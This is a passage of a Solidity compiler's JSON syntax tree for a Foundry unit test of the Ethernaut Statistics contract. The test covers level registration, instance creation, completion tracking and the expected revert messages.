external"}},"id":66029,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1336:46:153","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":66030,"nodeType":"ExpressionStatement","src":"1336:46:153"},{"expression":{"id":66035,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":66031,"name":"level_instance_2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65920,"src":"1393:16:153","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"baseExpression":{"id":66032,"name":"users","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65934,"src":"1412:5:153","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[] memory"}},"id":66034,"indexExpression":{"hexValue":"37","id":66033,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1418:1:153","typeDescriptions":{"typeIdentifier":"t_rational_7_by_1","typeString":"int_const 7"},"value":"7"},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"1412:8:153","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"src":"1393:27:153","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":66036,"nodeType":"ExpressionStatement","src":"1393:27:153"},{"expression":{"arguments":[{"id":66040,"name":"level_instance_2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65920,"src":"1439:16:153","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"hexValue":"4c6576656c20496e7374616e63652032","id":66041,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"1457:18:153","typeDescriptions":{"typeIdentifier":"t_stringliteral_9118ce0393567c1d37638c594e549bfee272bc0fcb3a0134f7a68c602537e0be","typeString":"literal_string \"Level Instance 2\""},"value":"Level Instance 2"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_stringliteral_9118ce0393567c1d37638c594e549bfee272bc0fcb3a0134f7a68c602537e0be","typeString":"literal_string \"Level Instance 2\""}],"expression":{"id":66037,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1430:2:153","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":66039,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1433:5:153","memberName":"label","nodeType":"MemberAccess","referencedDeclaration":15042,"src":"1430:8:153","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_string_memory_ptr_$returns$__$","typeString":"function (address,string memory) external"}},"id":66042,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1430:46:153","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":66043,"nodeType":"ExpressionStatement","src":"1430:46:153"},{"expression":{"id":66048,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":66044,"name":"level_instance_3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65922,"src":"1487:16:153","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"baseExpression":{"id":66045,"name":"users","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65934,"src":"1506:5:153","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[] memory"}},"id":66047,"indexExpression":{"hexValue":"38","id":66046,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1512:1:153","typeDescriptions":{"typeIdentifier":"t_rational_8_by_1","typeString":"int_const 8"},"value":"8"},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"1506:8:153","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"src":"1487:27:153","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":66049,"nodeType":"ExpressionStatement","src":"1487:27:153"},{"expression":{"arguments":[{"id":66053,"name":"level_instance_3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65922,"src":"1533:16:153","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"hexValue":"4c6576656c20496e7374616e63652033","id":66054,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"1551:18:153","typeDescriptions":{"typeIdentifier":"t_stringliteral_05369e42055e17f63722c65d1ad15b3396d4f501fa9a6d016a4374ec060f1ede","typeString":"literal_string \"Level Instance 3\""},"value":"Level Instance 3"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_stringliteral_05369e42055e17f63722c65d1ad15b3396d4f501fa9a6d016a4374ec060f1ede","typeString":"literal_string \"Level Instance 3\""}],"expression":{"id":66050,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1524:2:153","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":66052,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1527:5:153","memberName":"label","nodeType":"MemberAccess","referencedDeclaration":15042,"src":"1524:8:153","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_string_memory_ptr_$returns$__$","typeString":"function (address,string memory) external"}},"id":66055,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1524:46:153","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":66056,"nodeType":"ExpressionStatement","src":"1524:46:153"},{"expression":{"id":66062,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":66057,"name":"stats","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65901,"src":"1581:5:153","typeDescriptions":{"typeIdentifier":"t_contract$_Statistics_$56450","typeString":"contract Statistics"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[],"expression":{"argumentTypes":[],"id":66060,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"NewExpression","src":"1589:14:153","typeDescriptions":{"typeIdentifier":"t_function_creation_nonpayable$__$returns$_t_contract$_Statistics_$56450_$","typeString":"function () returns (contract Statistics)"},"typeName":{"id":66059,"nodeType":"UserDefinedTypeName","pathNode":{"id":66058,"name":"Statistics","nameLocations":["1593:10:153"],"nodeType":"IdentifierPath","referencedDeclaration":56450,"src":"1593:10:153"},"referencedDeclaration":56450,"src":"1593:10:153","typeDescriptions":{"typeIdentifier":"t_contract$_Statistics_$56450","typeString":"contract Statistics"}}},"id":66061,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1589:16:153","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Statistics_$56450","typeString":"contract Statistics"}},"src":"1581:24:153","typeDescriptions":{"typeIdentifier":"t_contract$_Statistics_$56450","typeString":"contract Statistics"}},"id":66063,"nodeType":"ExpressionStatement","src":"1581:24:153"},{"expression":{"arguments":[{"id":66067,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65906,"src":"1632:9:153","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":66064,"name":"stats","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65901,"src":"1615:5:153","typeDescriptions":{"typeIdentifier":"t_contract$_Statistics_$56450","typeString":"contract Statistics"}},"id":66066,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1621:10:153","memberName":"initialize","nodeType":"MemberAccess","referencedDeclaration":55670,"src":"1615:16:153","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":66068,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1615:27:153","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":66069,"nodeType":"ExpressionStatement","src":"1615:27:153"}]},"functionSelector":"0a9254e4","implemented":true,"kind":"function","modifiers":[],"name":"setUp","nameLocation":"751:5:153","parameters":{"id":65923,"nodeType":"ParameterList","parameters":[],"src":"756:2:153"},"returnParameters":{"id":65924,"nodeType":"ParameterList","parameters":[],"src":"766:0:153"},"scope":66339,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":66338,"nodeType":"FunctionDefinition","src":"1872:3259:153","nodes":[],"body":{"id":66337,"nodeType":"Block","src":"1900:3231:153","nodes":[],"statements":[{"expression":{"arguments":[{"id":66078,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65906,"src":"1924:9:153","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":66075,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1910:2:153","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":66077,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1913:10:153","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15454,"src":"1910:13:153","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":66079,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1910:24:153","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":66080,"nodeType":"ExpressionStatement","src":"1910:24:153"},{"expression":{"arguments":[{"id":66084,"name":"level_factory_1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65914,"src":"1963:15:153","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":66081,"name":"stats","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65901,"src":"1944:5:153","typeDescriptions":{"typeIdentifier":"t_contract$_Statistics_$56450","typeString":"contract Statistics"}},"id":66083,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1950:12:153","memberName":"saveNewLevel","nodeType":"MemberAccess","referencedDeclaration":56023,"src":"1944:18:153","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":66085,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1944:35:153","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":66086,"nodeType":"ExpressionStatement","src":"1944:35:153"},{"expression":{"arguments":[{"arguments":[{"id":66090,"name":"level_factory_1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65914,"src":"2021:15:153","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":66088,"name":"stats","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65901,"src":"2000:5:153","typeDescriptions":{"typeIdentifier":"t_contract$_Statistics_$56450","typeString":"contract Statistics"}},"id":66089,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2006:14:153","memberName":"doesLevelExist","nodeType":"MemberAccess","referencedDeclaration":56411,"src":"2000:20:153","typeDescriptions":{"typeIdentifier":"t_function_external_view$_t_address_$returns$_t_bool_$","typeString":"function (address) view external returns (bool)"}},"id":66091,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2000:37:153","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"id":66087,"name":"assertTrue","nodeType":"Identifier","overloadedDeclarations":[287,302],"referencedDeclaration":287,"src":"1989:10:153","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bool_$returns$__$","typeString":"function (bool) pure"}},"id":66092,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1989:49:153","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":66093,"nodeType":"ExpressionStatement","src":"1989:49:153"},{"expression":{"arguments":[{"hexValue":"4c6576656c20616c726561647920657869737473","id":66097,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"2065:22:153","typeDescriptions":{"typeIdentifier":"t_stringliteral_bb8dcf6f060f78d4b3509235cdc95a3e3089a398b9110cce72b3cf8226f90b2d","typeString":"literal_string \"Level already exists\""},"value":"Level already exists"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_bb8dcf6f060f78d4b3509235cdc95a3e3089a398b9110cce72b3cf8226f90b2d","typeString":"literal_string \"Level already exists\""}],"expression":{"id":66094,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"2049:2:153","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":66096,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2052:12:153","memberName":"expectRevert","nodeType":"MemberAccess","referencedDeclaration":15646,"src":"2049:15:153","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) external"}},"id":66098,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2049:39:153","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":66099,"nodeType":"ExpressionStatement","src":"2049:39:153"},{"expression":{"arguments":[{"id":66103,"name":"level_factory_1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65914,"src":"2117:15:153","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":66100,"name":"stats","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65901,"src":"2098:5:153","typeDescriptions":{"typeIdentifier":"t_contract$_Statistics_$56450","typeString":"contract Statistics"}},"id":66102,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2104:12:153","memberName":"saveNewLevel","nodeType":"MemberAccess","referencedDeclaration":56023,"src":"2098:18:153","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":66104,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2098:35:153","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":66105,"nodeType":"ExpressionStatement","src":"2098:35:153"},{"expression":{"arguments":[{"id":66109,"name":"level_instance_1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65918,"src":"2168:16:153","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"id":66110,"name":"level_factory_1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65914,"src":"2186:15:153","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"id":66111,"name":"user","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65908,"src":"2203:4:153","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":66106,"name":"stats","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65901,"src":"2144:5:153","typeDescriptions":{"typeIdentifier":"t_contract$_Statistics_$56450","typeString":"contract Statistics"}},"id":66108,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2150:17:153","memberName":"createNewInstance","nodeType":"MemberAccess","referencedDeclaration":55774,"src":"2144:23:153","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_address_$_t_address_$returns$__$","typeString":"function (address,address,address) external"}},"id":66112,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2144:64:153","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":66113,"nodeType":"ExpressionStatement","src":"2144:64:153"},{"expression":{"arguments":[{"arguments":[{"id":66117,"name":"user","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65908,"src":"2251:4:153","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":66115,"name":"stats","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65901,"src":"2229:5:153","typeDescriptions":{"typeIdentifier":"t_contract$_Statistics_$56450","typeString":"contract Statistics"}},"id":66116,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2235:15:153","memberName":"doesPlayerExist","nodeType":"MemberAccess","referencedDeclaration":56423,"src":"2229:21:153","typeDescriptions":{"typeIdentifier":"t_function_external_view$_t_address_$returns$_t_bool_$","typeString":"function (address) view external returns (bool)"}},"id":66118,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2229:27:153","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"id":66114,"name":"assertTrue","nodeType":"Identifier","overloadedDeclarations":[287,302],"referencedDeclaration":287,"src":"2218:10:153","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bool_$returns$__$","typeString":"function (bool) pure"}},"id":66119,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2218:39:153","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":66120,"nodeType":"ExpressionStatement","src":"2218:39:153"},{"expression":{"arguments":[{"hexValue":"4c6576656c20646f65736e2774206578697374","id":66124,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"2284:21:153","typeDescriptions":{"typeIdentifier":"t_stringliteral_aef4186d2b2aa8f5cb53c65eaf0e471756b73202bdf04b12cf364993e3756725","typeString":"literal_string \"Level doesn't exist\""},"value":"Level doesn't exist"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_aef4186d2b2aa8f5cb53c65eaf0e471756b73202bdf04b12cf364993e3756725","typeString":"literal_string \"Level doesn't exist\""}],"expression":{"id":66121,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"2268:2:153","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":66123,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2271:12:153","memberName":"expectRevert","nodeType":"MemberAccess","referencedDeclaration":15646,"src":"2268:15:153","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) external"}},"id":66125,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2268:38:153","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":66126,"nodeType":"ExpressionStatement","src":"2268:38:153"},{"expression":{"arguments":[{"id":66130,"name":"level_instance_1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65918,"src":"2340:16:153","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"id":66131,"name":"level_factory_2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65916,"src":"2358:15:153","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"id":66132,"name":"user","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65908,"src":"2375:4:153","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":66127,"name":"stats","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65901,"src":"2316:5:153","typeDescriptions":{"typeIdentifier":"t_contract$_Statistics_$56450","typeString":"contract Statistics"}},"id":66129,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2322:17:153","memberName":"createNewInstance","nodeType":"MemberAccess","referencedDeclaration":55774,"src":"2316:23:153","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_address_$_t_address_$returns$__$","typeString":"function (address,address,address) external"}},"id":66133,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2316:64:153","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":66134,"nodeType":"ExpressionStatement","src":"2316:64:153"},{"expression":{"arguments":[{"id":66138,"name":"level_instance_1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65918,"src":"2465:16:153","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"id":66139,"name":"level_factory_1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65914,"src":"2483:15:153","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"id":66140,"name":"user","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65908,"src":"2500:4:153","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":66135,"name":"stats","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65901,"src":"2445:5:153","typeDescriptions":{"typeIdentifier":"t_contract$_Statistics_$56450","typeString":"contract Statistics"}},"id":66137,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2451:13:153","memberName":"submitSuccess","nodeType":"MemberAccess","referencedDeclaration":55918,"src":"2445:19:153","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_address_$_t_address_$returns$__$","typeString":"function (address,address,address) external"}},"id":66141,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2445:60:153","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":66142,"nodeType":"ExpressionStatement","src":"2445:60:153"},{"expression":{"arguments":[{"arguments":[{"id":66146,"name":"user","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65908,"src":"2549:4:153","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"id":66147,"name":"level_factory_1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65914,"src":"2555:15:153","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":66144,"name":"stats","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65901,"src":"2526:5:153","typeDescriptions":{"typeIdentifier":"t_contract$_Statistics_$56450","typeString":"contract Statistics"}},"id":66145,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2532:16:153","memberName":"isLevelCompleted","nodeType":"MemberAccess","referencedDeclaration":56143,"src":"2526:22:153","typeDescriptions":{"typeIdentifier":"t_function_external_view$_t_address_$_t_address_$returns$_t_bool_$","typeString":"function (address,address) view external returns (bool)"}},"id":66148,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2526:45:153","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"id":66143,"name":"assertTrue","nodeType":"Identifier","overloadedDeclarations":[287,302],"referencedDeclaration":287,"src":"2515:10:153","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bool_$returns$__$","typeString":"function (bool) pure"}},"id":66149,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2515:57:153","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":66150,"nodeType":"ExpressionStatement","src":"2515:57:153"},{"expression":{"arguments":[{"hexValue":"506c6179657220646f65736e2774206578697374","id":66154,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"2867:22:153","typeDescriptions":{"typeIdentifier":"t_stringliteral_fe9cbfc471c82666791b69806cdad8eea43b8a3af54fbdae6c353449fa9c7342","typeString":"literal_string \"Player doesn't exist\""},"value":"Player doesn't exist"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_fe9cbfc471c82666791b69806cdad8eea43b8a3af54fbdae6c353449fa9c7342","typeString":"literal_string \"Player doesn't exist\""}],"expression":{"id":66151,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"2851:2:153","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":66153,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2854:12:153","memberName":"expectRevert","nodeType":"MemberAccess","referencedDeclaration":15646,"src":"2851:15:153","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) external"}},"id":66155,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2851:39:153","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":66156,"nodeType":"ExpressionStatement","src":"2851:39:153"},{"expression":{"arguments":[{"id":66160,"name":"level_instance_1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65918,"src":"2920:16:153","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"id":66161,"name":"level_factory_1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65914,"src":"2938:15:153","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"id":66162,"name":"user2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65910,"src":"2955:5:153","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":66157,"name":"stats","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65901,"src":"2900:5:153","typeDescriptions":{"typeIdentifier":"t_contract$_Statistics_$56450","typeString":"contract Statistics"}},"id":66159,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2906:13:153","memberName":"submitSuccess","nodeType":"MemberAccess","referencedDeclaration":55918,"src":"2900:19:153","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_address_$_t_address_$returns$__$","typeString":"function (address,address,address) 